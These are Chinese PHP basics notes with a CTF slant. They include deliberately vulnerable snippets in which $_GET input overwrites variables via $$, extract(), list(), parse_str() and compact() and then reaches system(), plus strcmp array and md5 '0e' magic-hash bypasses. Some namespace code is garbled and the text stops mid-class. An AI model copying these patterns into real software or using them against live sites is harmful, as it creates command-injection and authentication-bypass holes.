php基础笔记

ops/2024/12/16 0:40:04/

开端:

  • PHP 脚本可以放在文本的任意位置

  • PHP 脚本以 开始,以 ?>** 结束:

  • PHP 文件的默认文件扩展名是 ".php"

标签替换
<? echo '123';?> //short_open_tags=on 默认开启
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

变量名:

  • 变量以 $ 符号开始,后面跟着变量的名称

  • 变量名必须以字母或者下划线字符开始

  • 变量名只能包含字母、数字以及下划线

  • 变量名不能包含空格

  • 变量名是区分大小写的

<?php
$a="Hello world!";
echo $a;
?>

变量作用域:

全局变量与局部变量:

<?php
$a=100; // 全局变量
function set_a()
{
$a=10; // 局部变量
}
set_a();
echo $a;
?>

通过函数修改全局变量(global):

<?php
$a=100; // 全局变量
function set_a()
{
global $a; // 局部变量
$a=10
}
set_a();
echo $a;
?>

保存函数中的值,后续继续使用(static):

<?php
//$a = 100;
// 全局变量
function set_a(){
// 局部变量 
static $a = 10; 
$a ++; 
echo $a;
}
set_a();set_a();

常量:

  1. 英文字母、下划线、和数字组成,但数字不能作为首字母出现。 (常量名不需要加 $ 修饰符)。

  2. 常量在定义后,默认是全局变量,可以在整个运行的脚本的任何地方使用。

bool define ( string $name , mixed $value [, bool $case_insensitive = false ] )
name:必选参数,常量名称,即标志符。
value:必选参数,常量的值。
case_insensitive:可选参数,如果设置为 TRUE,该常量则大小写不敏感,默认是大小写敏感的
​
<?php
// 区分大小写的常量名
define("DEMO", "Hello world");
echo DEMO; 
?>

超级全局变量:

$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

$GLOBALS:

  1. $GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问。

  2. $GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

$_SERVER:

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息
的数组。这个数组中的项目由 Web 服务器创建
​
$_SERVER['PHP_SELF']
:当前执行脚本的文件名。在处理表单提交时,可以用它来指向当前脚本。
$_SERVER['SERVER_NAME']
:当前运行脚本所在的服务器主机的名称。
$_SERVER['REQUEST_METHOD']
:当前请求的方法,通常是 "GET" 或 "POST"。
$_SERVER['REQUEST_URI']
:当前请求的 URI(不含主机部分),例如 "/page.php"。
$_SERVER['QUERY_STRING']
:当前请求的查询字符串部分,即 URL 中 "?" 后面的部分。
$_SERVER['HTTP_HOST']
:当前请求的主机名,通常是指完整的域名,例如 "example.com"。
$_SERVER['HTTP_REFERER']
:引导用户代理到当前页的前一页 URL 地址,如果有的话。但请注意,有些浏览器不提供这个信息,而且这
值容易被伪造,因此不是非常可靠。
$_SERVER['HTTP_USER_AGENT']
:当前用户代理(浏览器或其他客户端应用)的信息。
$_SERVER['REMOTE_ADDR']
:当前请求的客户端 IP 地址。
$_SERVER['SERVER_PORT']
:Web 服务器使用的端口(默认为 80)。
$_SERVER['HTTPS']
:如果当前请求通过 HTTPS 协议访问,则为 "on";否则为空。

$_REQUEST:

$REQUEST 默认情况下包含了 $GET,$POST 和 $COOKIE

$_POST:

$_POST 来收集表单中的 input 字段数据

$_GET:

$_GET 也可以收集URL中发送的数据。

动态参数:

可变的数组键:

数组的键也可以是动态变量。这样你可以在运行时根据某个变量的值来访问数组中的元素

$index = 2;
$array = array(0 => 'apple', 1 => 'banana', 2 => 'orange');
​
echo $array[$index]; // 输出 "orange"

可变变量:

数组的键也可以是动态变量。这样你可以在运行时根据某个变量的值来访问数组中的元素

$foo = "hello";
$$foo = "world"; // 创建一个名为 $hello 的变量,并赋值为 "world"
echo $hello; // 输出 "world"
<?php
$a = 'ping 127.0.0.1';
$b = $_GET['1'];
$$b = $_GET['2'];
system($a);

变量覆盖:

extract:

extract 函数可以将数组中的元素导入到当前作用域中作为变量。如果数组中的键与当前作用域中已有的变量名相

同,可能会导致变量覆盖。

$person = ['name' => 'John', 'age' => 30];
extract($person);
​
echo $name; // 输出 "John"
echo $age; // 输出 30
<?php
$a = 'ping 127.0.0.1';
//$b = $_GET['1'];
//$$b = $_GET['2'];
$arr1 = [$_GET['1'] => $_GET['2'] , 'b' => 2];
extract($arr1);
system($a);

list:

list() 函数用于将数组中的值赋给一组变量

$info = ['John', 'Doe', 30];
list($firstName, $lastName, $age) = $info;
​
echo $firstName; // 输出 "John"
echo $lastName; // 输出 "Doe"
echo $age; // 输出 30
<?php$a = 'ping 127.0.0.1';
//$b = $_GET['1'];//$$b = $_GET['2'];
//$arr1 = [$_GET['1'] => $_GET['2'] , 'b' => 2];
//extract($arr1);
$arr2 = [$_GET['1'] , 2];
list($a ,$b) = $arr2;
system($a);

parse_str:

parse_str() 函数用于解析 URL 查询字符串,并将其中的参数赋值给相应的变量

$queryString = 'name=John&age=30';
parse_str($queryString, $params);
​
echo $params['name']; // 输出 "John"
echo $params['age']; // 输出 "30"
<?php
$queryString = $_SERVER['QUERY_STRING'];
$com = array('cmd'=>'ping 127.0.0.1');
parse_str($queryString,$$_GET[1]);
//com['cmd']
echo $com['cmd'];
system($com['cmd']);

compact:

compact() 函数用于将多个变量转换为关联数组,其中变量名将成为数组的键,变量的值将成为数组的值

$firstName = 'John';
$lastName = 'Doe';
$age = 30;
​
$info = compact('firstName', 'lastName', 'age');
print_r($info);
<?php
$com1 = 'ping 127.0.0.1';
$cmd2 = 'ping 127.0.0.1';
$cmd3 = 'whoami';
$info = compact($_GET['1'], 'cmd2');
foreach ($info as $a){
echo system($a);
}

输出函数:

在PHP中,echo、print、printf和 var_dump都是用于输出内容的函数,但它们有一些区别和不同的用途:

1.echo:

  1. echo是一个语言结构而不是函数,因此不需要使用括号。

  2. echo可以同时输出一个或多个字符串,并且没有返回值。

  3. 由于echo没有返回值,因此它在执行效率上稍微优于其他输出函数。

$variable = "Hello";
echo $variable; // 输出:Hello
echo "World"; // 输出:World

2.print:

  1. print是一个函数,需要使用括号。

  2. print和echo类似,用于输出一个字符串,但它只能输出一个字符串,不能同时输出多个,并且总是返回1。

  3. 由于print有返回值,因此它可以在表达式中使用。

$variable = "Hello";
print $variable; // 输出:Hello

3.printif:

  1. printf是一个格式化输出函数,可以根据指定的格式输出字符串。它类似于C语言中的

  2. printf的第一个参数是格式字符串,后面可以跟随多个参数,用于替换格式字符串中的占位符

$variable = "World";
printf("Hello %s", $variable); // 输出:Hello World

4.var_dump:

  1. var_dump是一个调试函数,用于输出变量的详细信息,包括类型和值。

  2. 它可以用于调试目的,帮助开发者了解变量的结构和内容。

$variable = array(1, 2, 3);
var_dump($variable);
// 输出:
// array(3) {
// [0]=> int(1)
// [1]=> int(2)
// [2]=> int(3)
// }

5.print_r:

  1. print_r 用于以更可读的方式输出数组或对象的内容,通常用于调试目的

  2. 它仅用于输出数组或对象的内容,因此不能用于输出其他数据类型的内容

$myArray = array('apple', 'banana', 'cherry');
print_r($myArray);

数据类型:

String(字符串)
Integer(整型)
Float(浮点型)
Boolean(布尔型)
Array(数组)
Object(对象)
NULL(空值)
Resource(资源类型)

类型比较:

松散比较:使用两个等号 == 比较,只比较值,不比较类型。
严格比较:用三个等号 === 比较,除了比较值,也比较类型。


数组:

数组能够在单个变量中存储多个值

<?php
$cars=array("Volvo","BMW","Toyota");
echo "I like " . $cars[0] . ", " . $cars[1] . " and " . $cars[2] . ".";
?>

PHP中有许多常用的数组函数,用于操作、处理和转换数组。以下是一些常见的数组函数:

  1. array_push(): 将一个或多个元素添加到数组的末尾。

$array = array("apple", "banana");
array_push($array, "orange", "grape");
print_r($array);
  1. array_pop(): 删除数组的最后一个元素,并返回被删除的元素。

$array = array("apple", "banana", "orange");
$removedElement = array_pop($array);
print_r($array);
echo $removedElement;
  1. array_shift(): 删除数组的第一个元素,并返回被删除的元素。

$array = array("apple", "banana", "orange");
$removedElement = array_shift($array);
print_r($array);
echo $removedElement;
  1. array_unshift(): 在数组的开头插入一个或多个元素。

$array = array("apple", "banana");
array_unshift($array, "orange", "grape");
print_r($array);
  1. array_merge(): 合并一个或多个数组。

$array1 = array("apple", "banana");
$array2 = array("orange", "grape");
$mergedArray = array_merge($array1, $array2);
print_r($mergedArray);
  1. array_slice(): 从数组中截取一个部分。

$array = array("apple", "banana", "orange", "grape");
$slicedArray = array_slice($array, 1, 2);
print_r($slicedArray);
  1. array_splice(): 从数组中移除一个部分并替换为新的元素。

$array = array("apple", "banana", "orange", "grape");
array_splice($array, 1, 2, array("watermelon", "kiwi"));
print_r($array);
  1. array_reverse(): 反转数组中的元素顺序。

$array = array("apple", "banana", "orange");
$reversedArray = array_reverse($array);
print_r($reversedArray);
  1. array_unique(): 移除数组中重复的元素。

$array = array("apple", "banana", "apple", "orange");
$uniqueArray = array_unique($array);
print_r($uniqueArray);
  1. array_map(): 对数组中的每个元素应用回调函数。

$array = array("apple", "banana", "orange");
$result = array_map('strtoupper', $array);
print_r($result);
  1. array_filter(): 使用回调函数过滤数组中的元素。

$array = array("apple", "banana", "", "orange");
$result = array_filter($array);
print_r($result);
  1. array_reduce(): 使用回调函数对数组中的所有元素进行迭代处理。

$array = array("apple", "banana", "orange");
$result = array_reduce($array, function($carry, $item) {return $carry . ', ' . $item;
});
echo $result;
  1. array_keys(): 返回数组中所有键名的数组。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$keys = array_keys($array);
print_r($keys);
  1. array_values(): 返回数组中所有值的数组。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$values = array_values($array);
print_r($values);
  1. array_combine(): 使用一个数组的值作为键名,另一个数组的值作为键值,创建一个新数组。

$keys = array("apple", "banana", "orange");
$values = array(1, 2, 3);
$combinedArray = array_combine($keys, $values);
print_r($combinedArray);
  1. array_count_values(): 计算数组中每个值出现的次数。

$array = array("apple", "banana", "apple", "orange");
$countValues = array_count_values($array);
print_r($countValues);
  1. array_sum(): 计算数组中所有值的和。

$array = array(1, 2, 3, 4);
$sum = array_sum($array);
echo $sum;
  1. array_diff(): 计算两个数组的差集。

$array1 = array("apple", "banana", "orange");
$array2 = array("banana", "grape");
$diffArray = array_diff($array1, $array2);
print_r($diffArray);
  1. array_intersect(): 计算两个数组的交集。

$array1 = array("apple", "banana", "orange");
$array2 = array("banana", "grape");
$intersectArray = array_intersect($array1, $array2);
print_r($intersectArray);
  1. in_array(): 检查数组中是否存在指定的值。

$array = array("apple", "banana", "orange");
$isExists = in_array("banana", $array);
var_dump($isExists);
  1. array_key_exists(): 检查数组中是否存在指定的键名。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$isKeyExists = array_key_exists("banana", $array);
var_dump($isKeyExists);
  1. array_search(): 在数组中搜索指定的值,并返回对应的键名。

$array = array("apple", "banana", "orange");
$key = array_search("banana", $array);
echo $key;
  1. array_column(): 从多维数组中提取指定的列。

$array = array(array("id" => 1, "name" => "John"),array("id" => 2, "name" => "Jane")
);
$column = array_column($array, "name");
print_r($column);
  1. array_rand(): 从数组中随机选择一个或多个元素的键名。

$array = array("apple", "banana", "orange");
$randomKey = array_rand($array);
echo $randomKey;
  1. shuffle(): 打乱数组中的元素顺序。

$array = array("apple", "banana", "orange");
shuffle($array);
print_r($array);
  1. count(): 计算数组中的元素个数。

$array = array("apple", "banana", "orange");
$count = count($array);
echo $count;
  1. sort(): 对数组进行升序排序。

$array = array(3, 1, 4);
sort($array);
print_r($array);
  1. rsort(): 对数组进行降序排序。

$array = array(3, 1, 4);
rsort($array);
print_r($array);
  1. asort(): 对数组进行升序排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
asort($array);
print_r($array);
  1. arsort(): 对数组进行降序排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
arsort($array);
print_r($array);
  1. ksort(): 对数组按键名进行升序排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
ksort($array);
print_r($array);
  1. krsort(): 对数组按键名进行降序排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
krsort($array);
print_r($array);
  1. natsort(): 使用自然排序算法对数组进行升序排序。

$array = array("img1.jpg", "img10.jpg", "img12.jpg", "img2.jpg");
natsort($array);
print_r($array);
  1. natcasesort(): 使用自然排序算法对数组进行不区分大小写的升序排序。

$array = array("IMG1.jpg", "img10.jpg", "Img12.jpg", "img2.jpg");
natcasesort($array);
print_r($array);
  1. usort(): 使用用户自定义的比较函数对数组进行排序。

$array = array(3, 1, 4);
usort($array, function($a, $b) {return $a <=> $b;
});
print_r($array);
  1. uasort(): 使用用户自定义的比较函数对数组进行排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
uasort($array, function($a, $b) {return $a <=> $b;
});
print_r($array);
  1. uksort(): 使用用户自定义的比较函数对数组按键名进行排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
uksort($array, function($a, $b) {return strcmp($a, $b);
});
print_r($array);

字符串:

字符串拼接:

<?php
$txt1="Hello world!";
$txt2="What a nice day!";
echo $txt1 . " " . $txt2;
?>

在 PHP 中,有许多常用的字符串处理函数,用于执行字符串的各种操作和转换。以下是一些常见的字符串处理函数:

  1. strlen(): 获取字符串的长度。

$str = "Hello, world!";
$length = strlen($str);
echo $length;
  1. strpos(): 在字符串中查找子字符串的首次出现位置。

$str = "Hello, world!";
$position = strpos($str, "world");
echo $position;
  1. stripos(): 在字符串中查找子字符串的首次出现位置(不区分大小写)。

$str = "Hello, World!";
$position = stripos($str, "world");
echo $position;
  1. strrpos(): 在字符串中查找子字符串的最后一次出现位置。

$str = "Hello, world! world!";
$position = strrpos($str, "world");
echo $position;
  1. strripos(): 在字符串中查找子字符串的最后一次出现位置(不区分大小写)。

$str = "Hello, World! world!";
$position = strripos($str, "world");
echo $position;
  1. substr(): 从字符串中提取子字符串。

$str = "Hello, world!";
$substring = substr($str, 7, 5);
echo $substring;
  1. str_replace(): 替换字符串中的子字符串。

$str = "Hello, world!";
$replaced = str_replace("world", "PHP", $str);
echo $replaced;
  1. strtolower(): 将字符串转换为小写。

$str = "Hello, World!";
$lower = strtolower($str);
echo $lower;
  1. strtoupper(): 将字符串转换为大写。

$str = "Hello, World!";
$upper = strtoupper($str);
echo $upper;
  1. ucfirst(): 将字符串的第一个字符转换为大写。

$str = "hello, world!";
$ucfirst = ucfirst($str);
echo $ucfirst;
  1. ucwords(): 将字符串中每个单词的首字母转换为大写。

$str = "hello, world!";
$ucwords = ucwords($str);
echo $ucwords;
  1. strrev(): 反转字符串中的字符顺序。

$str = "Hello, world!";
$reversed = strrev($str);
echo $reversed;
  1. str_pad(): 使用另一个字符串填充字符串,以达到指定的长度。

$str = "42";
$padded = str_pad($str, 5, "0", STR_PAD_LEFT);
echo $padded;
  1. str_repeat(): 重复字符串指定的次数。

$str = "A";
$repeated = str_repeat($str, 5);
echo $repeated;
  1. str_split(): 将字符串拆分为字符数组。

$str = "Hello";
$chars = str_split($str);
print_r($chars);
  1. str_word_count(): 计算字符串中的单词数。

$str = "Hello, world!";
$wordCount = str_word_count($str);
echo $wordCount;
  1. wordwrap(): 在指定的位置插入换行符,以适应给定的宽度。

$str = "Hello, world!";
$wrapped = wordwrap($str, 5, "\n");
echo $wrapped;
  1. trim(): 去除字符串两侧的空白字符。

$str = "   Hello, world!   ";
$trimmed = trim($str);
echo $trimmed;
  1. ltrim(): 去除字符串左侧的空白字符。

$str = "   Hello, world!   ";
$ltrimmed = ltrim($str);
echo $ltrimmed;
  1. rtrim(): 去除字符串右侧的空白字符。

$str = "   Hello, world!   ";
$rtrimmed = rtrim($str);
echo $rtrimmed;
  1. explode(): 使用指定的分隔符将字符串拆分为数组。

$str = "apple,banana,orange";
$array = explode(",", $str);
print_r($array);
  1. implode(): 使用指定的分隔符将数组元素连接成一个字符串。

$array = array("apple", "banana", "orange");
$str = implode(",", $array);
echo $str;
  1. strcmp(): 比较两个字符串(区分大小写)。

$str1 = "Hello";
$str2 = "hello";
$result = strcmp($str1, $str2);
echo $result;
  1. strcasecmp(): 比较两个字符串(不区分大小写)。

$str1 = "Hello";
$str2 = "hello";
$result = strcasecmp($str1, $str2);
echo $result;
  1. strstr(): 在字符串中查找子字符串的首次出现,并返回子字符串及其后面的所有字符。

$str = "Hello, world!";
$result = strstr($str, "world");
echo $result;
  1. stristr(): 在字符串中查找子字符串的首次出现(不区分大小写),并返回子字符串及其后面的所有字符。

$str = "Hello, World!";
$result = stristr($str, "world");
echo $result;

文件名常用函数

在 PHP 中,可以使用以下常见的函数来限制文件名:

1.basename():

basename() 函数用于返回路径中的文件名部分。它可以用于确保文件名只包含合法的字符,并且不包含路径信息。

$filename = "/path/to/my_file.txt";
$basename = basename($filename); // $basename 现在是 "my_file.txt"

2.preg_replace

preg_replace() 函数可以使用正则表达式替换文件名中的不合法字符。通过使用适当的正则表达式,可以从文件名中去除非法字符或将它们替换为其他字符。

$filename = "file?name.txt";
$cleanedFilename = preg_replace('/[^\w\d\.\-_]/', '_', $filename); // $cleanedFilename
现在是 "file_name.txt"

在上面的例子中,preg_replace() 函数使用正则表达式将非单词字符(\w)、非数字字符(\d)、点(.)、连字符(-)和下划线(_)之外的所有字符替换为下划线。

3.str_replace():

str_replace() 函数可以用于简单的字符串替换。虽然不如正则表达式强大,但在某些情况下也可以用来去除特定字符

$filename = "file?name.txt";
$cleanedFilename = str_replace('?', '_', $filename); // $cleanedFilename 现在是
"file_name.txt"

4.filter_var():

filter_var() 函数可以用于过滤文件名中的非法字符。使用

FILTER_SANITIZE_STRING 过滤器可以删除文件名中的非法字符。

$filename = "file?name.txt";
$cleanedFilename = filter_var($filename, FILTER_SANITIZE_STRING); // $cleanedFilename
现在是 "filename.txt"

5.pathinfo() :

pathinfo() 函数可以用于获取文件路径的信息,包括文件名、目录名和文件扩展名(后缀)等。通过pathinfo() 获取文件后缀,并与允许的后缀列表进行比较。

$allowedExtensions = array('jpg', 'png', 'gif');
$filename = 'example.jpg';
​
$extension = pathinfo($filename, PATHINFO_EXTENSION);
​
if (in_array($extension, $allowedExtensions)) {
// 合法的文件后缀
} else {
// 非法的文件后缀
}

6.strtolower() :

在检查文件后缀时,为了避免大小写问题,通常会将后缀转换为小写(或大写)后再进行比较。

$allowedExtensions = array('jpg', 'png', 'gif');
$filename = 'example.JPG';
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
​
if (in_array($extension, $allowedExtensions)) {
// 合法的文件后缀
} else {
// 非法的文件后缀
}

存在绕过的函数:

strcmp:

strcmp($a,$b) 比较两个字符串是否相等,相等返回0,出错也返回0,因此传入数组使其出错
​
<?php
$a = $_GET['a'];
if(!strcmp($a, '121312')){
echo 'ok';}
?>

md5:

1. 传数组
2. 两个md5加密后是0e开头的字符串,a=s878926199a&b=s155964671a
​
if (md5($_POST['a']) == md5($_POST['b']))
echo 'flag';

运算符:

PHP 算术运算符

算术运算符用于执行常见的算术运算,例如加,减,乘等。这是PHP算术运算符的完整列表:

运算符描述在线示例结果
+加法$x + $y$x和$y的总和
-减法$x - $y$x和$y之差
*乘法$x * $y$x和$y的乘积
/除法$x / $y$x和$y的商
%求模$x % $y$x除以$y的余数

PHP 赋值运算符

赋值运算符用于为变量赋值。

运算符描述在线示例等同于
=赋值$x = $y$x = $y
+=$x += $y$x = $x + $y
-=$x -= $y$x = $x - $y
*=$x *= $y$x = $x * $y
/=$x /= $y$x = $x / $y
%=模(除法的余数)$x %= $y$x = $x % $y
.=连接字符串$x .= $y$x = $x.$y

PHP 递增/递减运算符

递增/递减运算符用于递增/递减变量的值。

运算符名称描述
++$x预增量将$x加1,然后返回$x
$x++后增量返回$x,然后将$x加1
--$x递减将$x减一,然后返回$x
$x--递减后返回$x,然后将$x减1

PHP 逻辑运算符

逻辑运算符通常用于组合条件语句

运算符名称在线示例结果
and$x and $y如果$x和$y都为true,则为true
or$x or $y如果$x或$y为true,则为true
xor异或$x xor $y如果$x或$y为true,则为True,但不能同时为true
&&$x && $y如果$x和$y都为true,则为true
||$x || $y如果$$x或$y为true,则为true
!!$x如果$x不为true,则为true

PHP 字符串运算符

有两个专门为字符串设计的运算符。

运算符描述在线示例结果
.级联$str1 . $str2$str1和$str2的串联
.=串联分配$str1 .= $str2将$str2追加到$str1

PHP 数组运算符

数组运算符用于比较数组:

运算符名称在线示例结果
+集合$x + $y$x和$y的并集
==相等$x == $y如果$x和$y具有相同的键/值对,则为true
===全等$x === $y如果$x和$y具有相同顺序和相同类型的相同键/值对,则为true
!=不相等$x != $y如果$x不等于$y,则为true
<>不相等$x <> $y如果$x不等于$y,则为true
!==不全等$x !== $y如果$x与$y不相同则为true

PHP 太空船运算符PHP 7

PHP 7引入了一个新的太空船运算符(<=>),可用于比较两个表达式。也称为组合比较运算符。

如果两个操作数相等,则宇宙船操作符返回0,如果左侧大于1,则返回1,如果右侧大于1,则返回-1。 基本提供三向对比,如下表所示:

运算符<=> 相当于
$x < $y($x <=> $y) === -1
$x <= $y($x <=> $y) === -1 || ($x <=> $y) === 0
$x == $y($x <=> $y) === 0
$x != $y($x <=> $y) !== 0
$x >= $y($x <=> $y) === 1 || ($x <=> $y) === 0
$x > $y($x <=> $y) === 1

条件与循环:

条件:

IF:

<?php
$t=date("H");
if ($t<"10")
{
echo "Have a good morning!";
}
elseif ($t<"20")
{
echo "Have a good day!";
}
else
{
echo "Have a good night!";
}
?>

switch:

 <?php
$favcolor="red";
switch ($favcolor)
{
case "red":
echo "你喜欢的颜色是红色!";
break;
case "blue":
echo "你喜欢的颜色是蓝色!";
break;
case "green":
echo "你喜欢的颜色是绿色!";
break;
default:
echo "你喜欢的颜色不是 红, 蓝, 或绿色!";
}
?>

循环:

while:

<html>
<body>
​
<?php
$i=1;
while($i<=5)
{
echo "The number is " . $i . "<br>";
$i++;
}
?>
​
</body>
</html>

do .. while:

<html>
<body>
​
<?php
$i=1;
do
{
$i++;
echo "The number is " . $i . "<br>";
}
while ($i<=5);
?>
​
</body>
</html>

for:

<?php
for ($i=1; $i<=5; $i++)
{
echo "数字为 " . $i . PHP_EOL;
}
?>

foreach:

<?php
$x=array("Google","Runoob","Taobao");
foreach ($x as $value)
{
echo $value . PHP_EOL;
}
?>

函数:

创建函数:

<?php
function functionName()
{
// 要执行的代码
}
?>

添加参数:

<?php
function writeName($fname)
{
echo $fname . " Refsnes.<br>";
}
​
echo "My name is ";
writeName("Kai Jim");
echo "My sister's name is ";
writeName("Hege");
echo "My brother's name is ";
writeName("Stale");
?>

返回值:

<?php
function add($x,$y)
{
$total=$x+$y;
return $total;
}
echo "1 + 16 = " . add(1,16);
?>

类与对象:

<?php
class person {
/* 成员变量 */ 
var $name; 
var $age; /* 成员函数 */ 
function setName($name){
$this->name = $name; 
}
​
function setAge($age){
$this->age = $age; 
}
​
function getName(){
echo $this->name . PHP_EOL; 
}
​
function getAge(){
echo $this->age . PHP_EOL; 
}
}
?>

1.构造函数:

//对象被创建时调用
void __construct ([ mixed $args [, $... ]] )
​
function __construct( $name, $age ) {
$this->name = $name;
$this->age = $age;
}

2.析构函数:

//对象被摧毁后调用
function __destruct() {
print "销毁 " . $this->name . "\n";
}

3. 继承:

//继承父类后,具备父类的大部分方法与变量
class Child extends Person{
​
}

4. 方法重写:

// 重写父类的方法
function getName() {
echo $this->name . PHP_EOL;
return $this->name;
}
​
function getAge(){
echo $this->age . PHP_EOL;
return $this->age;
}

5. 访问控制:

public(公有):公有的类成员可以在任何地方被访问。

protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。

private(私有):私有的类成员则只能被其定义所在的类访问。

<?php
class Person
{
// 声明一个公有的构造函数 
public function __construct() { }
​
​
// 声明一个公有的方法 
public function func1() {
echo '这里是公有方法'; 
}
​
// 声明一个受保护的方法 
protected function func2(){
echo '这里是收保护的方法'; 
}// 声明一个私有的方法 
private function func3() {
echo '这里时私有方法'; 
}
​
// 此方法为公有 
function test()
{
$this->func1(); // 正常执行 
$this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用 
$this->func3();// 正常执行 private私有方法,可以被自身其他方法调用,子类不行 
}}
​
$class = new Person();
$class->func1(); // 正常执行
# $class->func2(); // 被protected修饰的方法 只能在类方法中被调用#
$class->func3(); // 被private修饰的方法 只能在类方法中被调用
$class->test(); // 公有,受保护,私有都可以执行
class Superman extends Person
{
// 此方法为公有 
function test2()
{
$this->func1(); 
$this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用 
# $this->func3(); // 不能正常执行 private私有方法,可以被自身其他方法调用,子类不行 ​
}
}
​
$myclass2 = new Superman();
$myclass2->test(); // 这行能被正常执行
$myclass2->test2(); // 公有的和受保护的都可执行,但私有的不行

6. 接口

<?php
// 声明一个'interfaceDemo'接口
interface interfaceDemo
{
public function echo_flag($flag);
//不能添加已经被实现的方法
}
​
// 实现接口 ,关键词implements
class Demo implements interfaceDemo
{
public function echo_flag($flag){
echo $flag; 
}
}

7. 常量

<?php
class MyClass
{
const constant = '常量值';
​
function showConstant() {
echo self::constant . PHP_EOL;
}
}

8. 抽象类

<?php
abstract class AbstractClass
{
abstract protected function echo_flag($flag);
public function echo_flag2($flag){
echo $flag2;
//不能添加已经被实现的方法
}
​
}
​
// 实现接口
class Demo extends AbstractClass
​
{
​
public function echo_flag($flag){
echo $flag; 
}
}

9.Static

静态方法

<?php
class Foo {
public static $my_static = 'foo';
​
public function staticValue() {
return self::$my_static;
}
}
​
print Foo::$my_static . PHP_EOL;
$foo = new Foo();
​
print $foo->staticValue() . PHP_EOL;
?>

10. Final

如果父类中的方法被声明为 final,则子类无法覆盖该方法。如果一个类被声明为 final,则不能被继承。

<?php
class BaseClass {
public function test() {
echo "BaseClass::test() called" . PHP_EOL;
}
​
final public function moreTesting() {
echo "BaseClass::moreTesting() called" . PHP_EOL;
}
}
​
class ChildClass extends BaseClass {
public function moreTesting() {
echo "ChildClass::moreTesting() called" . PHP_EOL;
}
}// 报错信息 Fatal error: Cannot override final method BaseClass::moreTesting()
?>

11. 调用父类构造方法

<?php
class BaseClass {
function __construct() {
print "BaseClass 类中构造方法" . PHP_EOL;
}
}
class SubClass extends BaseClass {
function __construct() {
parent::__construct(); // 子类构造方法不能自动调用父类的构造方法
print "SubClass 类中构造方法" . PHP_EOL;
}
}
class OtherSubClass extends BaseClass {
// 继承 BaseClass 的构造方法
}
​
// 调用 BaseClass 构造方法
$obj = new BaseClass();
​
// 调用 BaseClass、SubClass 构造方法
$obj = new SubClass();
​
// 调用 BaseClass 构造方法
$obj = new OtherSubClass();
?>

12. 魔术方法

 __construct()
实例化类时自动调用
​
__destruct()
类对象使用结束时自动调用
​
__set()
在给未定义的属性赋值时自动调用
​
__get()
调用未定义的属性时自动调用
​
__isset()
使用 isset() 或 empty() 函数时自动调用
​
__unset()
使用 unset() 时自动调用
​
__sleep()
使用 serialize 序列化时自动调用
​
__wakeup()
使用 unserialize 反序列化时自动调用
__call()
调用一个不存在的方法时自动调用
​
__callStatic()
调用一个不存在的静态方法时自动调用
​
__toString()
把对象转换成字符串时自动调用
​
__invoke()
当尝试把对象当方法调用时自动调用
​__set_state()当使用 var_export() 函数时自动调用,接受一个数组参数
​
__clone()
当使用 clone 复制一个对象时自动调用
​
__debugInfo()
使用 var_dump() 打印对象信息时自动调用
​
__autoload()
尝试加载未定义的类

13. 魔术常量

1.__LINE__

<?php
echo '这是第 " ' . __LINE__ . ' " 行';
?>

2.__FILE__

<?php
echo '该文件位于 " ' . __FILE__ . ' " ';
?>

3.__DIR__

<?php
echo '该文件位于 " ' . __DIR__ . ' " ';
?>

4.FUNCTION

<?php
function test() {
echo '函数名为:' . __FUNCTION__ ;
}
test();
?>

5.__CLASS__

<?php
class test {
function _print() {
echo '类名为:' . __CLASS__ . "<br>";
echo '函数名为:' . __FUNCTION__ ;
}
}
$t = new test();
$t->_print();
?>

6.__TRAIT__

<?php
class Base {
public function sayHello() {
__TRAIT__
__NAMESPACE__
echo 'Hello ';
}
}
​
trait SayWorld {
public function sayHello() {
parent::sayHello();
echo 'World!';
}
}
​
class MyHelloWorld extends Base {
use SayWorld;
}
​
$o = new MyHelloWorld();
$o->sayHello();
?>

7.__TRAIT__

<?php
function test() {
echo '函数名为:' . __METHOD__ ;
}
test();
?>

8.__NAMESPACE__

<?php
namespace MyProject;
​
echo '命名空间为:"', __NAMESPACE__, '"'; // 输出 "MyProject"
?>

命名空间

1. 定义命名空间

<?php
/
namespace Space1;const flag = 1;
function func() {
echo '这里是Space1';}
/
namespace Space2;
const flag = 2;
function func() {
echo '这里是Space2';}
// 默认会使用前面的命名空间对应的函数
func();
// 选择命名空间调用函数\Space1\func();\Space2\
func();?>

2. 子命名空间

<?php
namespace Space1;function func() {
echo '这里是Space1';}
​
namespace Space1\Son1; 
function func() {
echo '这里是Son1';}
​
namespace Space1\Son2;
function func() {
echo '这里是Son2';}
​
func();
\Space1\Son1\func();
\Space1\func();?>

3. 命名空间使用

<?php
namespace Space1;
//包含一个文件,可以调用这个方法中的类,变量,方法。。。
//但由于php无法直接区分,哪些代码是那个文件中的,
//因此必须设置一个命名空间,
//否则不同文件中的类,变量,方法。。。就会混淆
include 'demo.php';
function func() {
echo '这里是Space1';}
​
namespace Space1\Son1; 
//声明分层次的单个命名空间
function func() {
echo '这里是Son1';
}
​
namespace Space1\Son2; 
//声明分层次的单个命名空间
function func() {
echo '这里是Son2';
}
​
namespace Space1\Son2\grandson; 
//声明分层次的单个命名空间
function func() {
echo '这里是grandson';
}
​
func();
​
\Space1\Son2\func();
\Space1\Son1\func();
\Space1\func();
?>

4. 动态语言特征

<?phpnamespace Space2;function func() {
echo '这里是Space2';}
​
namespace Space2\son;
const DEMO = '这是一个常量';
function func() {
echo '这里是Space2的son';}
​
class classDemo{
